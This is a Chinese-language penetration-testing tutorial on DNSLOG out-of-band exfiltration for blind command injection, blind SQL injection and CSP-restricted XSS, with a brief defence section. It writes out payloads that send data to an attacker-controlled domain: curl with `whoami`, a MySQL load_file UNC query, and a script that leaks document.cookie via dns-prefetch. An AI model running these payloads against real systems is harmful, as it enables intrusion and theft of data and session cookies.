使用DNSLOG拯救你的盲打盲注
字数 1228 2025-08-18 11:37:37
DNSLOG技术在渗透测试中的应用详解
一、DNSLOG技术原理
DNS解析过程是递归与迭代相结合的,当我们在可控的DNS服务器部分搭建自己的服务时,可以将盲打或盲注的回显信息放到自己域名的二级或三级域名上进行请求,通过DNS解析日志来获取这些信息。
关键点:
- 需要控制DNS解析过程中的红色部分(权威DNS服务器)
- 将回显数据作为子域名的一部分发送到自己的DNS服务器
- 通过查看DNS解析日志获取回显信息
二、DNSLOG工具搭建与使用
1. 自建平台
使用BugScan团队开源工具搭建:
https://github.com/BugScanTeam/DNSLog
2. 在线平台
- http://admin.dnslog.link
- http://ceye.io
三、应用场景详解
场景一:命令盲注回显
适用场景:无回显的命令注入漏洞(如Struts2-052反序列化漏洞)
利用方法:
go run main.go -u http://www.exploit-target.com/struts2-rest-showcase/orders.xhtml -c 'curl "http://`whoami`.your-dnslog.com"'
技术细节:
- 反引号内的命令先执行(如
whoami) - 结果替换到curl命令中
- 通过DNS请求将结果发送到控制服务器
增强技巧:
- 对敏感内容进行base64编码后再作为子域名
- 可避免特殊字符导致的域名不合法问题
场景二:SQL盲注回显
适用场景:MySQL盲注(包括bool型和时间型)
利用方法:
select load_file(concat('\\\\', user(), '.your-dnslog.com\\abc'));
技术细节:
- 利用MySQL的
load_file()函数发起DNS请求 concat()函数拼接用户数据到域名中- 双反斜杠是MySQL中UNC路径的表示方式
注意事项:
- 需要MySQL有权限进行外部DNS请求
- 目标服务器需要能出网
场景三:XSS绕过CSP限制
适用场景:存在XSS但受CSP限制无法外联
利用方法:
document.querySelector('body').innerHTML += "<link rel='dns-prefetch' href='" + window.btoa(document.cookie.split(/;|=/)[1]) + ".your-dnslog.com'>"
技术细节:
- 利用DNS预解析技术(默认开启)
- 通过
<link rel="dns-prefetch">强制解析 - 将cookie等敏感信息编码后作为子域名
限制条件:
- Payload长度受限(XSS通常有长度限制)
- 域名长度有限制(通常不超过253字符)
- 只能获取到部分cookie信息
四、其他应用场景
-
Blind XXE漏洞:
- 通过外部实体发起DNS请求
- 将敏感数据通过子域名带出
-
Blind SSRF漏洞:
- 利用SSRF发起DNS请求
- 通过DNS日志判断内网服务存在性
五、防御措施
- 限制出网DNS请求
- 监控异常DNS查询模式
- 对敏感操作实施多因素认证
- 合理配置CSP策略
六、高级技巧
-
数据分片技术:
- 当数据过长时,可分多次DNS请求发送
- 在接收端重组数据
-
加密传输:
- 对敏感数据先加密再传输
- 避免明文传输被拦截
-
混合利用:
- 结合其他外带技术(如HTTP、ICMP)
- 提高数据渗出成功率
七、总结
DNSLOG技术是一种有效的盲注数据外带方法,特别适用于:
- 无回显的命令执行
- 各类盲注场景
- 受限制的XSS利用
- 其他需要数据外带的盲攻击场景
通过合理利用DNS协议特性,可以绕过许多安全限制,实现敏感信息的渗出。防御方应重视DNS层面的安全监控,防止此类隐蔽的数据渗出方式。